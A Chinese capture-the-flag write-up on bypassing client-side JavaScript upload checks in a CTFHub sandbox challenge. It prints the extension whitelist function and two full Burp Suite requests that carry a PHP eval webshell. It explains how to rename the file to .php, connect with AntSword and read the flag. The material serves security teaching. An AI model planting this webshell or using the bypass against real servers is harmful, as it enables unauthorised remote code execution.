点击此处获得更好的阅读体验
来源
来自jazz499
原创投稿
题目考点
解题思路
上一题的无验证上传已经介绍了以下考点,此WriteUp不过多赘述
文件上传
语言环境判断
PHP木马
shell管理工具
验证可大体分为:前端验证和后端验证
那么前端验证,顾名思义 文件在传输过程中在前端进行了校验(如对后缀进行了校验,非png/jpg/jpeg格式不能上传)
前端验证一般都是由js来控制的
打开题目环境 右键查看源代码可以看到以下相关代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function checkfilesuffix() { var file=document.getElementsByName('file')[0]['value']; if(file==""||file==null) { alert("请添加上传文件"); return false; } else { var whitelist=new Array(".jpg",".png",".gif"); var file_suffix=file.substring(file.lastIndexOf(".")); if(whitelist.indexOf(file_suffix) == -1) { alert("该文件不允许上传"); return false; } } }
|
以上代码用白话来说:
文件上传 核查文件名后缀,白名单是.jpg/.png/.gif
如果不在白名单内则返回:“该文件不允许上传”
这里演示绕过前端验证的两种方法
1 2
| 1.直接禁用浏览器JavaScript 2.Burpsuite抓包上传
|
打开浏览器设置(谷歌为例)
设置
-->隐私设置和安全性
-->网站设置
-->Javascript
-->拒绝
这时候前端js验证就失效了 直接上传木马即可
Burpsuite抓包上传
Burpsuite开启抓包状态上传一个符合js白名单的文件,如yjh.png
点击上传
原理就是这个时候我们上传的yjh.png已经经过了前端验证后缀
然后再在burpsuite request请求中把后缀改成.php就行了
Burpsuite原请求如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST / HTTP/1.1 Host: challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080 Content-Length: 342 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4VyXBHorUBZOytj User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryY4VyXBHorUBZOytj Content-Disposition: form-data; name="file"; filename="yjh.png" Content-Type: image/png <!--PHPQBACKUP 3.1 SURVEYBACKUP--> <?php @eval($_POST['a']);?> ------WebKitFormBoundaryY4VyXBHorUBZOytj Content-Disposition: form-data; name="submit" Submit ------WebKitFormBoundaryY4VyXBHorUBZOytj--
|
修改后缀后如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST / HTTP/1.1 Host: challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080 Content-Length: 342 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY4VyXBHorUBZOytj User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryY4VyXBHorUBZOytj Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: image/png <!--PHPQBACKUP 3.1 SURVEYBACKUP--> <?php @eval($_POST['a']);?> ------WebKitFormBoundaryY4VyXBHorUBZOytj Content-Disposition: form-data; name="submit" Submit ------WebKitFormBoundaryY4VyXBHorUBZOytj--
|
页面返回shell路径,拼接可得
http://challenge-e3b90b8082b790db.sandbox.ctfhub.com:10080/upload/yjh.php
用中国蚁剑连接
在/var/www/html
网站根目录中找到flag文件